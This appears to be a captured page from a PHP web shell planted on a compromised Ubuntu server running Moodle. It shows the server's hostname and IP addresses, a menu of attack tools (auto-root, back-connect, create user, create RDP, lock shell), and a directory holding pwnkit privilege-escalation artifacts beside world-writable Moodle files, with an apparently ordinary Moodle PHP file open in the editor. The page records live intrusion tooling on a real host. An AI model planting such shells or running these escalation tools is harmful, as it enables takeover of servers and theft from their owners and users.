Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
lib /
behat /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
behat_command.php
9.16
KB
-rwxrwxrwx
behat_config_manager.php
12.39
KB
-rwxrwxrwx
behat_config_util.php
57.71
KB
-rwxrwxrwx
behat_context_helper.php
6.1
KB
-rwxrwxrwx
behat_core_generator.php
44.27
KB
-rwxrwxrwx
behat_generator_base.php
21.85
KB
-rwxrwxrwx
behat_selectors.php
4.03
KB
-rwxrwxrwx
behat_session_interface.php
3.05
KB
-rwxrwxrwx
behat_session_trait.php
64.18
KB
-rwxrwxrwx
component_named_replacement.ph...
2.96
KB
-rwxrwxrwx
component_named_selector.php
4.42
KB
-rwxrwxrwx
exact_named_selector.php
2.62
KB
-rwxrwxrwx
named_selector.php
4.18
KB
-rwxrwxrwx
partial_named_selector.php
13.25
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
settable_editor.php
1.2
KB
-rwxrwxrwx
util.php
16.75
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : behat_selectors.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Moodle-specific selectors. * * @package core * @category test * @copyright 2013 David Monllaó * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require_once(__DIR__ . '/named_selector.php'); require_once(__DIR__ . '/exact_named_selector.php'); require_once(__DIR__ . '/partial_named_selector.php'); use Behat\Mink\Exception\ExpectationException as ExpectationException; use Behat\Mink\Element\Element; /** * Moodle selectors manager. * * @package core * @category test * @copyright 2013 David Monllaó * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class behat_selectors { /** * Returns the behat selector and locator for a given moodle selector and locator * * @param string $selectortype The moodle selector type, which includes moodle selectors * @param string $element The locator we look for in that kind of selector * @param Session $session The Mink opened session * @return array Contains the selector and the locator expected by Mink. */ public static function get_behat_selector($selectortype, $element, Behat\Mink\Session $session) { // Note: This function is not deprecated, but not the recommended way of doing things. [ 'selector' => $selector, 'locator' => $locator, ] = $session->normalise_selector($selectortype, $element, $session->getPage()); // CSS and XPath selectors locator is one single argument. return [$selector, $locator]; } /** * Allowed selectors getter. * * @return array */ public static function get_allowed_selectors() { return array_merge( behat_partial_named_selector::get_allowed_selectors(), behat_exact_named_selector::get_allowed_selectors() ); } /** * Allowed text selectors getter. * * @return array */ public static function get_allowed_text_selectors() { return array_merge( behat_partial_named_selector::get_allowed_text_selectors(), behat_exact_named_selector::get_allowed_text_selectors() ); } /** * Normalise the selector and locator for a named partial. * * @param string $selector The selector name * @param string $locator The value to normalise * @return array */ public static function normalise_named_selector(string $selector, string $locator): array { return [ $selector, behat_context_helper::escape($locator), ]; } /** * Transform the selector for a field. * * @param string $label The label to find * @param Element $container The container to look within * @return array The selector, locator, and container to search within */ public static function transform_find_for_field(behat_base $context, string $label, Element $container): array { $hasfieldset = strpos($label, '>'); if (false !== $hasfieldset) { [$containerlabel, $label] = explode(">", $label, 2); $container = $context->find_fieldset(trim($containerlabel), $container); $label = trim($label); } return [ 'selector' => 'named_partial', 'locator' => self::normalise_named_selector('field', $label), 'container' => $container, ]; } }
Close